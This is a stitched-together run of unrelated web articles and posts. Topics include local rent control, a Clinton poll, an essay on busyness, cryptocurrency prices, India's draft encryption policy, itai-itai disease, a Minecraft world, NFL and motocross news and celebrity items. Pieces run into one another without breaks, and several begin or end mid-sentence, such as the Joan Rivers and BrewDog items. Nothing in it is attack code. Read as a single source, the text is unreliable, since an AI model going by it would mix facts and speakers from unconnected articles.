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$200 a month, according to the apartment market analytics site Rent Jungle. That figure suggests that more than $12 million could be at stake, spread out among the 15,000 apartments affected by the new rent-control program.
CAA representatives dispute that landlords can be forced to pay back any money. Based on the court order, the true effective date of the measure is April 5, wrote CAA vice president Joshua Howard in an email to the Voice.
"Nothing in Measure V requires the refunding of rents lawfully collected prior to its effective date," he wrote. "We have not identified any legal mandate that owners refund any amounts lawfully collected from residents while the effective date of Measure V was stayed by the court order."
Brodie and her colleagues say city officials don't have a choice in the matter since they're legally compelled to recognize Dec. 23 as the official date. They point out that the City Council formally declared on Dec. 13 that Measure V had passed, and the language of the law specifically states that it goes into effect 10 days after that action.
If city officials were to acknowledge Dec. 23 as the effective date, they wouldn't necessarily compel landlords to pay back any money immediately, city attorney Quinn wrote in an email to the Voice. Tenants could be advised to take the matter before the Rental Housing Committee and its hearing officers, and they could recover excess rent or block the landlord from future rent increases.
Nevertheless, the Measure V rent control law does allow the Rental Housing Committee to initiate certain actions on a tenant's behalf, she pointed out.If you want to pay a tribute to great artists of old, why not get help from mechanics? That’s what Freddy Fabris did to get a unique twist on the works of Renaissance painters. The mechanics, clad in overalls and tools in hand, posed in an auto-shop. The result is interesting and instantly recognizable.
“For many years I wanted to pay homage the great Renaissance masters,” Fabris wrote on Huffington Post. “Translating painting into photography was a challenge I looked forward to. I wanted to respect the look and feel of the originals, but needed to come up with a conceptual twist that would create a new layer to the original. To take them out of their original context, yet maintain their essence.” Freddy Fabris was born in New York, raised in Buenos Aires, and has worked with the advertising industry for 16 years. More info: fabrisphoto.com (h/t: huffpost)
Read more
The Last Supper by Leonardo da Vinci
The Creation of Adam by Michelangelo
The Anatomy Lesson by Rembrandt
A series of Rembrandt-inspired portraitsFormer US Secretary of State Hillary Clinton's marathon testimony in front of the US House Select Committee on Benghazi appears to have worked in her political favor.
According to a new Wall Street Journal/NBC News poll released Tuesday, the number of Americans who remained unsatisfied with the Democratic presidential front-runner's handling of the 2012 terrorist attack on the American consulate in Benghazi, Libya, which left four Americans dead, has dropped significantly.
The poll found that 38% of Americans were unsatisfied with Clinton's answers to questions about the attack, down from 44% who were unsatisfied before her 11-hour testimony in Congress last month.
Among swing voters, according to NBC, the percentage who said that they are not satisfied with her handling of the issue plunged from 84% at the beginning of October to 40% now. Just 23%, however, said they are satisfied.
Among Democratic primary voters, those numbers were even better for Clinton.
The poll showed that 72% of likely Democratic primary voters were satisfied with Clinton's answers on the subject, compared to just 58% who previously said they were satisfied before her testimony.
Though Republicans maintain that the ongoing investigation into Clinton's role in the controversy are unrelated to her bid for the presidency, the ranking Republican members of the committee have found themselves on the defensive following a series of gaffes from high-profile members that cast the numerous investigations in a political light.
In an interview with Fox News in September, Kevin McCarthy (R-California), the House of Representatives' majority leader, said the committee's investigation of the attacks had helped lower Clinton's poll numbers.
"Everybody thought Hillary Clinton was unbeatable, right?" he asked at the time.
He said: "But we put together a Benghazi special committee, a select committee. What are her numbers today? Her numbers are dropping. Why? Because she's untrustable. But no one would have known any of that had happened, had we not fought."
Clinton's support has risen since her testimony in front of the committee, as well as her well-received performance during the first Democratic debate last month. Tuesday's WSJ/NBC poll showed Clinton's support among likely Democratic primary voters jumping to 62%, up from 58% last month.
NOW WATCH: A fight broke out at a Donald Trump rally in Virginia
More From Business InsiderI'm busy.
I don't know about you, but anytime I am asked, "How's it going?", I never just say "fine" anymore. Instead, my stock response is always some degree of frazzled. The scale ranges from "busy" to "crazy busy" to "nutballs."
The good news is, my answer is usually met with sympathetic response, which is as reassuring as it is depressing.
"Tell me about it! We are, too!"
"I know! Isn't it insane!"
"There's never enough time in the day, is there?"
But something changed about a month ago. I bumped into a friend at the gym. Instead of sympathizing when I said I was "crazy busy," he simply asked:
"Really? So what do you have going on today?"
I had to stop and think for a moment. No one has ever asked me to "describe my busy." So I conducted a mental review of our calendar before explaining that I had a worship band rehearsal in the morning, followed by a basketball game for my son, a church commitment for my wife, a birthday party for my daughter, and a date night that evening.
His response?
"Sounds like a full day. Have fun!"
At first, I was a bit resentful. He obviously misunderstood me. I wanted to remind him how horrible all of this was. I wanted to explain how driving from place to place in my comfortable SUV was a huge pain in the ass. Not to mention how Gabby and I would have to split up for part of the day. Buying and wrapping the birthday gift? Don't even get me started! And then only having an hour to get the kids fed and get ready for our semi-fancy date that evening.
Didn't you hear me? I am busy! Sweet Baby Jesus, have mercy on my soul!
Here's the thing. I wear busyness like a badge of honor. Only there's no honor to be had.
Busy is a sickness.
The American Psychological Association has published its Stress In America survey since 2007. They find that the majority of Americans recognize that their stress exceeds levels necessary to maintain good health. The most frequent reason they cite for not addressing the problem?
Being too busy.
It's a vicious cycle.
Dr. Susan Koven practices internal medicine at Massachusetts General Hospital. In a 2013 Boston Globe column, she wrote:
In the past few years, I've observed an epidemic of sorts: patient after patient suffering from the same condition. The symptoms of this condition include fatigue, irritability, insomnia, anxiety, headaches, heartburn, bowel disturbances, back pain, and weight gain. There are no blood tests or X-rays diagnostic of this condition, and yet it's easy to recognize. The condition is excessive busyness.
We've heard for years that excessive stress causes health problems. But notice that Dr. Koven didn't say stress. She said busyness.
And it's an epidemic.
Dr. Michael Marmot, a British epidemiologist, has studied stress and its effects, and found the root causes to be two types of busyness. Though he doesn't give them official names, he describes the most damaging as busyness without control, which primarily affects the poor. Their economic reality simply does not allow for downtime. They have to work two to three jobs to keep the family afloat. When you add kids to the mix, it becomes overwhelming, and the stress results in legitimate health problems.
The second type of busyness also results in health problems, but it is a sickness we bring on ourselves. Like voluntarily licking the door handle of a preschool bathroom or having a sweaty picnic in the Ball Pit at Chuck E. Cheese's.
It's busyness we control.
Self-created stress.
Ever since my conversation a month ago, I realized that my busyness is this second type. Busyness we control. In fact, many times I create rush and worry where none exists. Any typical morning, you can find me riding my kids like a couple of three-dollar mules in a sea of marbles, begging them to move faster.
"If you don't finish your waffles in the next 90 seconds, we're gonna be late!"
"Do you like being tardy?! 'Cause that's what you'll be if you don't hurry up and brush your teeth!"
The funny thing is, whether I prod or not, we always seem to get to school at the same time every day. Before the bell. And if we're late? Nothing bad really happens, but there is still the voice in my head telling me a couple of tardies today is a slippery slope that eventually leads to 5-10 years in Federal Prison.
Ridiculous.
After my conversation with my friend, I began to notice how much of my rushing was an overreaction to my "awfulizing" in my head. Most of the time, I manufacture urgency in hopes that it will create urgency in others. Instead, it only creates anxiety, resentment and spite. Which is absolutely counter-productive. And even in the cases where the urgency is real, it's often due to a packed schedule I created.
All of this made me wonder:
Why would a grown-ass man, with a brain and two opposable thumbs, decide to voluntarily create stress in his life?
I found the answer, and it's not pretty.
We are afraid of ourselves.
In America, we are defined by what we do. Our careers. What we produce. It's the first question asked at parties, and often the first tidbit of information we share with strangers. The implication is that if I am not busy doing something, I am somehow less than. Not worthy. Or at least worth less than those who are producing something.
Now, before you start to think this is just one guy's opinion, consider a recent study published in the journal Science. In one experiment, participants were left alone in a room for up to 15 minutes. When asked whether they liked the alone time, over half reported disliking it.
In subsequent studies, participants were given an electric shock, and then asked if they would pay money to avoid being shocked again. Not surprisingly, most said they would trade money to avoid pain. However, when these same people were left alone in a room for 15 minutes, nearly half chose to self-administer an electric shock rather than sit alone with their thoughts.
You read that right.
Voluntarily.
Shocking.
(Which is so not punny.)
Think about what this means. Just being is so painful that we are willing to hurt ourselves to avoid it.
And this is perhaps the saddest truth of all. I am created in the image and likeness of God, yet somehow that isn't good enough for me. So I fill my Facebook feed and my calendar with self-important busyness to avoid just being. In the process, I not only miss out on the peace and beauty that lies within myself, but I also miss seeing that same beauty in others, because my manufactured urgency has covered it up with anxiety and worry.
It's time I let my busyness rest in peace.
So my prayer today is this. That I stop defining myself by my doing, and start defining myself by my being. That I stop measuring time by the clock on the wall, and start measuring it by the experiences I share with those around me. And that I stop seeing my life as "busy," and instead, see it for what it truly is.
Full.
Writer's note: For the past month, I have tried my best to eliminate the word "busy" from my vocabulary. The result? I feel lighter. Now, when people ask how things are going, I just say, "Life is full." What works for you?
* This post originally appeared on the blog The Accidental Missionary. Follow The Accidental Missionary on Facebook or Twitter @sdannemiller.
Also on HuffPost:Litecoin has dropped 10 percent in 24 hours after Bitcoin’s fall saw the altcoin pass the $50 mark for the first time.
Litecoin, which less than a week ago was worth $29, gained rapidly as Bitcoin showed signs of weakness again, but Wednesday saw the pair’s fortunes reverse.
Commenting on the performance, entrepreneur Tuur Demeester reiterated his theory that Litecoin was used as a go-to Bitcoin “hedge” for investors.
Bitcoin up 7% on segwit optimism, Litecoin down 4.5%. So far my theory that $LTC is used as a hedge seems to hold. — Tuur Demeester (@TuurDemeester) June 20, 2017
Bitcoin’s new climb comes as the community becomes more convinced that SegWit will activate on the network in the near future.
The price per coin increased north of $2,700 in the 24 hours to press time, while the majority of altcoins have since followed Litecoin downhill.
In particular, Dash and Ethereum (ETH) posted similar losses, while Ethereum Classic also came off recent highs to see its market cap dip below the $2 bln mark.
Demeester added the broad downtrend could take away from Litecoin’s presumed role, subsequently noting he “may have been too quick to judge.”“The might of the Burning Legion will bear down upon Azeroth with 10,000 years of rage. Our demonic warlocks will take utmost pleasure in the perversion of your places of power and worship, especially those belonging to the ancient race of Night Elves. The same traitorous Night Elves who were responsible for the Legion’s defeat during the War of the Ancients. These worshipers of Elune and Cenarious will feel their power diminish as we corrupt their altars. They will feel their magics dry as we march upon their lands, burning all within our path. Your moonwells will boil over with demonic blood and Cenarious himself will turn to ash and crumble before the very might of the Legion.”
-Some Burning Legion jerk, probably.
Created for the Legion contest. Handpainted diffuse only.LONDON (AP) — Oil company BP is cutting some 4,000 jobs in exploration and production over the next two years amid sharp drops in the price of crude.
The cuts in BP's upstream business globally will include the loss of some 600 jobs in the North Sea.
The cost-cutting announced Tuesday comes as the price of oil dropped to a 12 year-low near $31 a barrel. Part of the decline is due to concern over a drop in demand in China, which is depressing commodity prices worldwide.
Company officials began notifying employees of the action in town hall meetings in Scotland.
Mark Thomas, regional president for BP North Sea, says in a statement that because of toughening market conditions "we need to take specific steps to ensure our business remains competitive and robust."WEST MEMPHIS, Ark. — A 5-year-old found unresponsive on a day care van in West Memphis Monday afternoon died at the scene, reports CBS Memphis affiliate WREG-TV.
Police said the boy was picked up before 7 a.m. but didn't make it off the van.
Authorities said there were two adults on board — the driver and a monitor — but they somehow missed the boy when they were escorting the other children off the bus.
Police believe the child, who was in a booster seat, was asleep, but they're not sure if he never woke up or was perhaps disoriented.
"He had no disabilities that prevented... he was mobile, he was also vocal," West Memphis Police Capt. Joe Baker said.
Police said he was found around 3:30 p.m. when the staff at Ascent Children's Heath Services went to prepare the van to bring children home.
By that point, it was too late: First responders couldn't resuscitate him, says WREG.
Police pointed to the heat as the cause of death. The temperature outside was 91 degrees, and police said the inside of the van could have gotten up to 130 degrees.
Police and the Department of Human Services are both investigating possible negligence by multiple people.
Police said they haven't had issues with Ascent in the past.
But WREG uncovered that Ascent had previously been cited for the following violations:
1. Aug. 25, 2016, visit: Medicine shall be kept out of the reach of the children when dispensing and shall be stored in a locked area at all other times.
2. March 20, 2017, visit: Trampolines shall not be used. (Therapeutic use of trampolines is acceptable if supervised by the therapist on a one-on-one basis.)
3. March 20, 2017, visit: Slides shall have a transition platform of at least 14 inches deep for preschool and school age children, and 19 inches deep for toddler.Pornogrind, also known as porngrind or pornogore, is a fusion genre of grindcore and death metal[1][2] that lyrically deals with sexual and pornographic themes, hence the name.[3][4]
Characteristics [ edit ]
The genre is related to, and similar to, goregrind, but minor differences from goregrind include pornogrind having "simpler, slower, and more rock-like songs" as well as the genre's pornographic theme present in lyrics and album artwork, which "would keep them out of most stores."[4] Zero Tolerance described pornogrind as "the most downright perverted of the lot, often adding a dollop of filthy groove and vocals straight from the toilet."[5] Natalie Purcell, however, in her book Death Metal Music: The Passion and Politics of a Subculture, suggests that pornogrind is defined solely on the basis of its lyrical content and unique imagery, its focus on pornographic content.[2]
Notable bands of the genre include Gut and Cock and Ball Torture.[2][5][6]
See also [ edit ]The Conservatives are using a so-called Netflix tax kiboshed earlier this year to appeal to users of the popular media-streaming service.
In a video released on Wednesday, Stephen Harper reiterated his position, standing in front of a television emblazoned with the “Netflix” logo.
Watch the full ad here:
I love movies and TV shows. I'm 100% against a #Netflix tax. Always have been, always will be #NoNetflixTax #elxn42 https://t.co/oUYgTkXH3q — Stephen Harper (@pmharper) August 5, 2015
Speaking for nearly a minute, viewers learn once again that the Conservative leader is a fan of “Breaking Bad,” but not high taxes.
“Some politicians want to tax digital streaming services like Netflix and YouTube,” said Harper. “Some have even called on us to introduce a Netflix tax.”
One politician Harper refers to is Ontario Premier Kathleen Wynne, whose Liberal government pushed Canada’s federal telecom regulator to regulate the service as it does with traditional TV.
He then claimed that NDP Leader Thomas Mulcair and Liberal Leader Justin Trudeau “have left the door wide open to doing just that,” then added that he’s “100 per cent” against the tax.
“Always have been, always will be,” he said.
Calgary Conservative candidate Joan Crockatt supported the message, presenting it to her followers on Twitter as a black-and-white election issue.
“The choice is clear,” @pmharper says. "If you like watching Netflix or videos online, only voting Conservative w/ stop a Netflix Tax.” — Joan Crockatt CPC (@Crockatteer) August 6, 2015
The Liberal Party quickly responded to Harper’s attack, telling Toronto Sun reporter Don Peat that they have “never supported a Netflix tax and do not support a Netflix tax.”
Federal NDP incumbent candidate Peggy Nash also reacted to the dig, saying the party has not proposed a tax on the on-demand video-streaming service.
Netflix is a U.S. company that is not regulated by the CRTC, Canada's telecom regulator. In March, the CRTC rejected the adoption of a Netflix tax — a levy supported by both the CBC and the Government of Ontario to stoke development of Canadian content.
This latest Conservative campaign gambit repurposes a familiar strategy used by the party in the 2011 election, when it stirred concern over a supposed $75 iPod tax — a claim that turned out to be misleading.
Voters head to the polls on Oct. 19.
Also on HuffPost:If a draft proposal by government's Department of Electronics and Information Technology (DeitY) becomes the law in its current form, you might be asked to retain certain forms of digital communication for a period of 90 days.
Update 22 September 1:40am: The government issued an addendum to clarify that "mass use encryption products, which are currently being used in web applications, social media sites, and social media applications such as WhatsApp, Facebook, Twitter etc." While that language is vague in itself, you can rest easy without needing to worry about having to store your WhatsApp messages for 90 days. The original text continues below.
The DeitY has posted a draft National Encryption Policy on its website inviting comments from the public on its mission, strategies, objectives, and regulatory framework, which you can send to [email protected], until 16th October 2015. A lot of the details mentioned in the draft guidelines are worrying, and this is a topic that concerns every consumer.
While the draft encryption policy's preamble starts by talking about improving e-governance and e-commerce through better security and privacy measures, it very quickly brings up national security as well, and that's where things get worrying from a consumer's perspective. It's very reminiscent of when the Indian government was thinking about banning BBM in India unless BlackBerry (then Research in Motion) gave security agencies access to snoop on emails. The two would eventually reach an arrangement that allowed the government to intercept email.
The language of the new draft policy is quite clear on one thing - businesses and consumers may use encryption for storage and communication, but the encryption algorithms and key sizes will be prescribed by the Indian government. What's more, vendors of encryption products would have to register in India (with the exception of mass use products, such as SSL), and citizens are allowed to use only the products registered in India.
"Would OpenPGP, a commonly-used standard for encryption of email, fall under'mass use'?" asks Pranesh Prakash, Policy Director at the Centre for Internet and Society, speaking to Gadgets 360. "Because if it doesn't, I am prohibited from using it. But if it does, I am required to copy-paste all my encrypted mails into a separate document to store it in plain text, as required by the draft policy. Is that what it really intends? Has the government thought this through?"
Most people don't explicitly use encryption, but it's built into apps they use every day. Do the draft guidelines also extend to products and services with built-in encryption like WhatsApp? If yes - and the language certainly suggests it does - then combine them with governments requirements for its citizens, as proposed in the draft guidelines, and we could have very worrying scenarios.
The draft guidelines read "All citizens (C), including personnel of Government/ Business (G/B) performing non-official/ personal functions, are required to store the plaintexts of the corresponding encrypted information for 90 days from the date of transaction and provide the verifiable Plain Text to Law and Enforcement Agencies as and when required as per the provision of the laws of the country."
WhatsApp messages are now encrypted end-to-end. So do the draft guidelines mean you have to store a copy of all your WhatsApp messages for 90 days? What about Snapchat? Or any other form of ephemeral messaging that is automatically deleted after being read? The consumer is expected to maintain plain text copies of all communications for 90 days - so that these can be produced if required by the laws of the land - so, will it even legal to read a message that deletes itself, if and when the draft guidelines become law?
The draft policy document states that the vision is to create an information security environment, and secure transactions. But the actual details mentioned in the draft appear to do the opposite, and put a focus more on the lines of limiting encryption only to technologies that likely could be intercepted by the government, when required.
This is in many ways similar to the Telecom Regulatory Authority of India's draft letter on Net Neutrality, which instead talked about issues like cyberbullying and'sexting'. In the feedback period, Trai received over 1 million emails. but the Department of Telecom report on Net Neutrality also went against public sentiment on certain things, suggesting that telcos should be allowed to charge extra for specific services, such as Skype or WhatsApp voice calls in India, showing that calls for feedback aren't necessarily being taken seriously.
And, with the draft National Encryption Policy, another problem that is shared with the Net Neutrality discussions, is the use of vague language. The result is that there is very little clarity at this point on what will and will not be permitted by the government if the draft guidelines are adopted. We're living in a time when the government talks about how WhatsApp and Gmail may be used by "anti-national elements", and even considered requiring Twitter and Facebook to establish servers in India.
With that in mind, you have to ask, will it be even legal to use WhatsApp if these guidelines are implemented? After all, WhatsApp messages have end-to-end encryption and if this service does not register in India, and comply with the algorithms prescribed by the government, then as a citizen of India, you won't be allowed to use it because "users in India are allowed to use only the products registered in India," as per the draft guidelines.
If the draft policy comes into affect, businesses need to provide the plain text message, and the encrypted pair, to verify that the intercepted encrypted communication is indeed the same as the plain text message that they are providing to law enforcement or intelligence agencies, when asked as per the laws of the country.
"There is an assumption here, that given the same plain text, you always get the encrypted text. This assumption is wrong," Prakash says. "It holds for some forms of encryption, but does not necessarily hold for all forms of encryption. If there's a changing salt, it won't lead to the same encrypted text each time."
Prakash also argues against the draft specifying the hashing mechanisms, algorithm, and the key length. He says the government should instead be setting a minimum encryption strength for various sectors, like financial data, health data, or governmental use, adding that algorithms cited were outdated and broken.
"Of the 3 symmetric cryptographic primitives that are listed - AES, 3DES, and RC4 - one, RC4, has been shown to be a broken cipher. It is unimaginable that they would be mandating it as one of the three currently permissible. They are weakening national security by doing so!"
These are questions that don't just affect a few people, but just about every Indian who is using the mobile Internet. In its present form, the draft actually severely limits what you can do online, and could hobble the push for a digital India. There's almost a full month to give our feedback, but is anyone listening?Itai-itai disease (イタイイタイ病, itai-itai byō, "it hurts-it hurts disease") was the name given to the mass cadmium poisoning of Toyama Prefecture, Japan, starting around 1912. The term "itai-itai disease" was coined by locals[1] for the severe pains (Japanese: 痛い itai) people with the condition felt in the spine and joints. Cadmium poisoning can also cause softening of the bones and kidney failure. The cadmium was released into rivers by mining companies in the mountains, which were successfully sued for the damage. Itai-itai disease is known as one of the Four Big Pollution Diseases of Japan.[2]
Symptoms [ edit ]
One of the main effects of cadmium poisoning is weak and brittle bones. Spinal and leg pain is common, and a waddling gait often develops due to bone deformities caused by the cadmium. The pain eventually becomes debilitating, with fractures becoming more common as the bone weakens. Other complications include coughing, anemia, and kidney failure, leading to death.[3]
A marked prevalence in older, postmenopausal women has been observed. The cause of this phenomenon is not fully understood, and is currently under investigation. Current research has pointed to general malnourishment, as well as poor calcium metabolism relating to the women's age.[3]
Recent animal studies have shown that cadmium poisoning alone is not enough to elicit all of the symptoms of itai-itai disease.[3] These studies are pointing to damage of the mitochondria of kidney cells by cadmium as a key factor of the disease.
Cause [ edit ]
Itai-itai disease was caused by cadmium poisoning due to mining in Toyama Prefecture. The earliest records of mining for gold in the area date back to 1710. Regular mining for silver started in 1589, and soon thereafter, mining for lead, copper, and zinc began. Increased demand for raw materials during the Russo-Japanese War and World War I, as well as new mining technologies from Europe, increased the output of the mines, putting the Kamioka Mines in Toyama among the world's top mines. Production increased even more before World War II. Starting in 1910 and continuing through 1945, cadmium was released in significant quantities by mining operations, and the disease first appeared around 1912.[1] Prior to World War II, the mining, controlled by the Mitsui Mining & Smelting Co., Ltd., increased to satisfy the wartime demand. This subsequently increased the pollution of the Jinzū River and its tributaries. The river was used mainly for irrigation of rice fields, but also for drinking water, washing, fishing, and other uses by downstream populations.[1]
Due to the cadmium poisoning, the fish in the river started to die, and the rice irrigated with river water did not grow well.[citation needed] The cadmium and other heavy metals accumulated at the bottom of the river and in the water of the river. This water was then used to irrigate the rice fields. The rice absorbed heavy metals, especially the cadmium, which accumulated in the people who consumed the contaminated rice.
When the population complained to Mitsui Mining & Smelting Co. about this pollution, the company built a basin to store the mining waste water before leading it into the river. This proved ineffective, and many had already been sickened. The causes of the poisoning were not well understood and, up to 1946, it was thought to be simply a regional disease or a type of bacterial infection.[1]
Medical tests started in the 1940s and 1950s, searching for the cause of the disease. Initially, it was expected to be lead poisoning due to the lead mining upstream. Only in 1955 did Dr. Hagino and his colleagues suspect cadmium as the cause of the disease.[1] Toyama Prefecture also started an investigation in 1961, determining that the Mitsui Mining and Smelting's Kamioka Mining Station caused the cadmium pollution and that the worst-affected areas were 30 km downstream of the mine. In 1968, the Ministry of Health and Welfare issued a statement about the symptoms of itai-itai disease caused by the cadmium poisoning.[4]
The reduction of the levels of cadmium in the water supply reduced the number of new cases; no new case has been recorded since 1946. While the people with the worst symptoms came from Toyama prefecture, the government found patients with itai-itai disease in five other prefectures.
The mines are still in operation and cadmium pollution levels remain high, although improved nutrition and medical care has reduced the occurrence of itai-itai disease.[3]
Etymology [ edit ]
Itai-itai disease (イタイイタイ病 itai-itai byō, "it hurts-it hurts disease") was the name given to the mass cadmium poisoning of Toyama Prefecture, Japan, starting around 1912. The term "itai-itai disease" was coined by locals for the severe pains (Japanese: 痛い itai) that people with itai-itai disease felt in the spine and joints.
Treatment [ edit ]
Any person infected with Cd-Poisoning must seek immediate medical help. Detoxification of Cadmium (Cd) with EDTA (Ethylene Diamine TetraAcetate) and other chelators is possible. Clinically available chelators include EDTA, DMPS, DMSA, and British Anti-Lewisite (BAL). BAL is more toxic than its derivatives, DMPS and DMSA, and is seldom used clinically. EDTA, DMPS, and DMSA increase urinary excretion of Cd. Studies in vitro and in vivo suggest that EDTA is superior to DMSA in mobilizing intracellular Cd.[5] As EDTA is approved by the FDA for lead and other heavy metals, and has a long history of safe use, it is most widely accepted for clinical use. Use of such chelators as has been seen as therapeutically beneficial to humans and animals when done using established protocols.
Society [ edit ]
Legal action [ edit ]
Twenty-nine plaintiffs, consisting of 9 people with itai-itai disease and 20 of their family members, sued the Mitsui Mining and Smelting Co. in 1968 in the Toyama Prefectural court. In June 1971, the court found the Mitsui Mining and Smelting Co. guilty. Subsequently, the company appealed to the Nagoya District Court in Kanazawa, but the appeal was rejected in August 1972. The Mitsui Mining and Smelting Co. agreed to pay for the medical care of the people who had been affected, finance the monitoring of the water quality performed by the residents, and pay reparations to the people with the disease.[1]
People who believe that they have itai-itai disease have to contact the Japanese Ministry of Health, Labor, and Welfare to have their claims assessed. Many people with itai-itai disease were not satisfied with government actions and demanded a change in the official procedures. This caused the government to review the criteria for recognizing a patient legally; the government also reassessed the treatment of the disease.
A person is considered to have itai-itai disease if he or she lived in the contaminated areas, has kidney dysfunctions and softening of the bones, but not related heart problems. One hundred and eighty-four patients have been legally recognized since 1967, of whom 54 were recognized in the period from 1980 to 2000. An additional 388 people have been identified as potential patients, those who had not been officially examined yet.[1] Fifteen people with itai-itai were still alive as of 1993.
Economic costs [ edit ]
The cadmium pollution had contaminated many agricultural areas. Heavy metal pollution affected many areas in Japan, and as a result the Prevention of Soil Contamination in Agricultural Land Law of 1970 was enacted. It ordered planting to be stopped so that restoration of the soil could be enacted to areas with 1ppm of cadmium or more contamination in the soil. Surveying in Toyama Prefecture began in 1971, and by 1977, 1500 hectares along the Jinzū River were designated for soil restoration. These farmers were compensated for lost crops and for lost production in past years by the Mitsui Mining and Smelting, Toyama Prefecture, and the national government. As of 1992, only 400 hectares remained contaminated.[1]
In 1992, the average annual health expense compensation was ¥743 million. Agricultural damage was compensated with ¥1.75 billion per year, or a total of annually ¥2.518 billion. Another ¥620 million were invested annually to reduce further pollution of the river.[1]
On 17 March 2012, officials concluded the cleanup project of the cadmium-polluted areas in the Jinzū River basin. Eight-hundred and sixty-three hectares of topsoil had been replaced since the cleanup began in 1979 at a total cost of ¥40.7 billion. The project had been financed by the Japanese national government, Mitsui Mining, and the Gifu and Toyama prefectural governments.[6]
See also [ edit ]Settlement with different house styles and full interior
by Mitwirkender
This world has a integrated recorcepack that you can use with other recourcepacks.
For now it has only kitchen models and some doors.
The Diamond Minecart This world has a integrated recorcepack that you can use with other recourcepacks.For now it has only kitchen models and some doors.used this world in one of his video
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Update section :
(1080p videos)
Update 10:
Architect Office of the Settlement
Update 9:
Modern House
Update 8:
Spain House
Update 7:
German House
Update 6:
Australian House
Update 5:
Modern House 3
Update 4:
Modern House 2
Update 3:
Modern Russian Hill House
Update 2:
Modern Villa
Update 1:
American House
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If you want to see more of this project than favorite it,
so that you are up to date.
For this world im using the Wolion 3D
and Flows HD recource pack in the resolution 128x128. If you want to see more of this project than favorite it,so that you are up to date.
MrCrayfish's Model Creator modified.
The models that are integrated in the save where created by me with theand thanWickedly funny (and somewhat infamous) comedienne Joan Rivers stopped by SiriusXM Raw Dog Comedy to promote her new book, Diary of a Mad Diva, and to talk with Ron Bennington about Kristen Stewart threatening to sue her, her writing process, her return to The Tonight Show, and what she thinks of Jerry Lewis, who, as you might recall, has threatened to have her killed.
But before we get into Jerry and Joan’s beef, let’s talk about Diary of a Mad Diva, which has garnered some hate from select celebrities, including Twilight and Snow White and the Huntsman actress Kristen Stewart |
to praise the guy for timing it right and all that stuff, there' s no question. But, in that part of the game, when we're just kneeling on it, I was surprised by it to say the least and disappointed."
"I thought that was kind of bush league. In that part of the game, when we're just kneeling on it, I was surprised by it to say the least and disappointed."
It happened in the final seconds of the Jets' surprising 20-13 win Sunday at MetLife Stadium. Mitchell got a running start and tried to dive over center Nick Mangold, hoping to hit Vick and cause a fumble at midfield. But the flying Mitchell flipped over Mangold, resembling a gymnast on a vault.
Tempers flared and there was pushing and shoving before order was restored for the final kneel-down. Afterward, several other Jets players expressed their displeasure, calling it "a dirty play."
Ryan wasn't asked about it until Monday.
"I have no idea [if the Steelers coach that], you have to ask them, but I've played against them a long time and never seen that before," said Ryan, whose team snapped an eight-game losing streak.
Ryan was hot after the game. As he approached midfield for the handshake, he was caught on TV yelling, "F--- you!" at someone. Presumably, it was one of the game officials. There didn't appear to be any acrimony during a brief postgame embrace with Steelers coach Mike Tomlin.
"I think I was saying, 'Thank you,' " Ryan said jokingly, alluding to his language.
Turning serious, he said: "Emotions run high in games. Sometimes it's best to... what happens on the field stays on the field. That's where it stems from. It's a very emotional game. Obviously, I've got to do a good job of controlling my emotions. Things happen. I'm sorry if I offended anybody."
By rule, Ryan could be fined for taunting. The NFL defines taunting as "the use of abusive, threatening, or insulting language or gestures to opponents, teammates, officials, or representatives of the league."
Ryan refused to say if his profanity was directed at an official.
Minutes before Mitchell's leap, Ryan was assessed an unsportsmanlike-conduct penalty for arguing a penalty on Vick. Ryan was upset because, as he explained after the game, he believed the officials "protected" Steelers quarterback Ben Roethlisberger better than they did Vick.
Vick absorbed a few big hits outside the pocket, angering the Jets. At the same time, the Steelers were peeved by Jason Babin's low, after-the-whistle hit on Roethlisberger. The play was blown dead because of a delay-of-game penalty, but Babin fired through the line and dived at Roethlisberger's knees. He was flagged for unnecessary roughness.
Afterward, Babin said he kept playing because the whistle was "faint." He also said Steelers right guard David DeCastro threw him into Roethlisberger, but the replay did not appear to show that.Martin Dickie and James Watt have raised millions from beer lovers through crowdfunding
The founders of BrewDog could pocket as much as £100m after selling a slug of the Scottish craft beer maker to an American private equity giant.
TSG Consumer Partners is splashing out £213m on a 22% stake in the Punk IPA brewer, giving the 10-year-old business an enterprise value of £1bn.
The deal with the San Francisco buyout firm, owner of snack brand Popchips and Glaceau Vitaminwater, will serve up big windfalls for James Watt and Martin Dickie. The 34-year-old schoolfriends set up the company in Fraserburgh, Aberdeenshire, with a £20,000 bank loan.
It is believed to be one of the biggest-ever paydays for entrepreneurs who have tapped online crowdfunding platforms for capital. The company raised more than £50m this way, and has more than…Amazon is said to be holding talks with record labels about a potential music streaming service. A new report from Recode claims these discussions are still in the early stages; Amazon hasn't yet come close to finalizing the deals it would need to take on Spotify, Rdio, Beats Music, and Google Play Music All Access. Last year, we reported that Amazon was talking to the labels about an on-demand music service, and Recode has essentially confirmed that a dialog is ongoing.
At this point, the novelty of music streaming services has largely worn off, but Amazon's business approach could prove interesting. Just as it does with movies and TV shows, the company would likely include music streaming as part your Amazon Prime subscription. And while all of that content may seem like a lot when you factor in Prime's $79 fee, Amazon has recently said it's considering upping the annual cost by as much as $40. Having both music and video at your fingertips could help make a price hike easier to swallow.If The Big Bang Theory has proven anything after 10 seasons on the air, it's that Sheldon Cooper is not the most enjoyable person to be around.
His quirks, rules and phobias definitely seem infuriating in an adult man, but judging by the first trailer for CBS's new prequel series Young Sheldon, they're surprisingly endearing in a nine-year-old.
It probably helps that the new half-hour comedy (which will air after Big Bang on Thursdays this fall) stars Big Little Lies scene-stealer Iain Armitage in the title role, with Jim Parsons providing voiceover to give us some insight into the mindset of Sheldon's younger self.
Unlike Big Bang, Young Sheldon is a single-camera comedy instead of a multicam, which means no laugh track — allowing the show to strike a sweeter tone compared to its snark-laden mothership.
We're not sure exactly when Sheldon flipped from adorable to irritating, but now we're kind of looking forward to finding out.That’a a wrap for Saturday and MXoN qualifying is complete. It is unbelievable how many fans are on hand, and even more unbelievable the amount of noise they produce to cheer their favorites on. France fans are out in force, and if you look at the hillside it is apparent who feels right at home! Flags from all over the world color in the hillsides, it’s truly a sight to see. The qualifying races are extra important here this year, because as we said earlier in our morning report this is a fairly narrow track. All three classes saw favorites running up or near the front, and some good battles have taken place so far. France pretty much reigned supreme today, and they will be a very tough team to beat as they layed a 1-1-1 smackdown on the rest of the world.
CLICK HERE FOR FULL RESULTS FROM WWW.MXGP.COM
CHECK OUT OUR COMPLETE COVERAGE OF THE 2015 MOTOCROSS OF NATIONS
MXGP Qualifying Moto
